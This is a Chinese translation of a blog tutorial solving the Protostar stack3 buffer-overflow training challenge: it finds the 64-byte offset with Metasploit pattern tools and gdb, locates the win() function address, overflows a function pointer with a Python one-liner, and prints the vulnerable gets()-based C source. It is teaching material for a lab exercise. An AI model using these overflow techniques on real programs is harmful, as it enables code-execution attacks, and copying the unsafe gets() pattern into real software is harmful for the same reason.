缓冲区实例讲解之protostar stack3挑战篇

fanyeee 技术 2019年1月13日发布
Favorite收藏

导语:在本文中,我们将以protostar stack3挑战为例,讲解缓冲区漏洞的利用技术。

引言

在上两篇文章中12,我们已经解决了stack0、stack1和stack2挑战,今天,我们将为读者介绍如何解决protostar stack3。在解决前三个挑战的时候,我们使用了二进制文件的源代码,来识别缓冲区溢出发生的位置并加以利用。然而,对于stack3来说,我们虽然也有源代码,但是,我们却不打算使用它,相反,我们将使用一些实用的技术来解决这个挑战。那我们为什么要这么做呢?在现实情况下,我们基本上是没有机会得到目标程序的源代码,对吧?

 

1.png

如果您还没有读过我之前撰写的关于缓冲区溢出的文章,建议您先阅读它们。

./Stack3

让我们先来考察一下这个程序,看看它是做什么的。

./stack3

1.png

如图所示,我们没有看到任何输出内容,所以,看来我们应该给它提供一个参数。为了检测该程序是否含有缓冲区溢出漏洞,我们可以为其传递100个字符的参数,看看它有什么反应:

python -c "print 'A' * 100" | ./stack3

1.png

这时,我们看到一个segfault错误,这说明发生了缓冲区溢出;同时,我们还看到这样一行内容:“calling function pointer , jumping to 0x41414141”。

现在,我们已经大体知道发生了什么情况:其中有一个函数指针,它会根据函数给定的内存地址来执行函数。由于该内存地址存储在一个变量中,因此,当发生缓冲区溢出时,我们就可以覆盖或者说重写该变量了。我们看到,函数指针正在调用地址0x41414141,其中0x41是“A”的十六进制表示。所以,接下来我们要做两件事:第一件事是弄清楚缓冲区溢出是在哪里发生的,虽然上面给这个程序输入了一个100个字符的参数,但是我们并不知道缓冲区的确切大小;第二件事是找到我们需要执行的函数的内存地址。如何完成这两件事情呢?下面将为读者详细介绍。

确定缓冲区的大小

为了简单起见,这里将使用Kali box系统来完成这个程序的编译和测试工作。

Metasploit提供了两个分别名为pattern_create和pattern_offset的脚本,它们位于kali系统中的/usr/share/metasploit-framework/tools/exploit目录中。

pattern_create可以帮助我们创建一个指定长度的惟一字符串,就这里来说,我们将创建一个包含100个字符的模式(pattern)。

./pattern_create.rb -l 100

1.png

现在,让我们在GDB中运行该程序,对于我而言,使用的是gdb-peda。

1.png

首先,我们需要在main函数中设置一个断点。

break *main

这样一来,程序就会在main()函数的第一条指令之后中断。

1.png

然后,让我们运行该程序。

1.png

现在,它在断点处如期停止运行。之后,我们按c键,让它继续运行,并向其传递我们指定的参数。

1.png

这时,可以看到发生了segfault错误,并可以看到该错误发生的具体位置,即0x63413163。

现在,我们将使用pattern_offset来了解0x63413163处存放的内容。

./pattern_offset -l 100 -q 63413163

如图所示,与偏移64处的内容是完全匹配的,这意味着缓冲区大小为64个字符,大于这个阀值就会发生溢出。

查找函数的内存地址

如果我们在GDB中运行info functions命令,就能看到所有函数及其内存地址,此外,我们也可以使用objdump来完成这一任务。但是,我们要找的函数是什么呢?

info functions

1.png

如图所示,这里有很多函数,但我们最感兴趣的一个函数是“win”,并且,它在我的Kali Box系统上的地址与在protostar机器上的地址并不相同。于是,我们返回protostar机器,并通过objdump来定位它。

objdump -d stack3

1.png

1.png

如图所示,我们得到的地址为0x08048424。

利用漏洞

现在,我们可以轻松地构建相应的漏洞利用程序了——我们已经知道缓冲区长度为64个字符,所以,我们可以传递一个函数的地址,然后通过函数指针来执行它。

python -c "print 'A' * 64 + '\x24\x84\x04\x08'" | ./stack3

1.png

如图所示,这里的输出内容为“Code flow changed successfull”。

上面,我们已经在不借助源代码的情况下搞定了这个挑战,接下来,我们不妨看看这个程序的源代码到底长啥样:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
 printf("code flow successfully changed\n");
}
 
int main(int argc, char **argv)
{
 volatile int (*fp)();
 char buffer[64];
 
 fp = 0;
 
 gets(buffer);
 
 if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
 }
}

我们看到,该程序先定义了一个函数win(),然后,又定义了函数main(),并在该函数中定义了一个函数指针,创建了一个长度为64个字符的缓冲区,并将其值设置为0。之后,它会接受我们提供的参数,并将其存储在该缓冲区中。最后一条if语句会检查函数指针的值是否发生了改动,即是否依然为0;如果不为0的话,就根据新值来调用相应的函数。

本文到此结束,希望对大家有所帮助!

本文翻译自:https://0xrick.github.io/binary-exploitation/bof3/如若转载,请注明原文地址: http://www.4hou.com/technology/15665.html
点赞 1
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论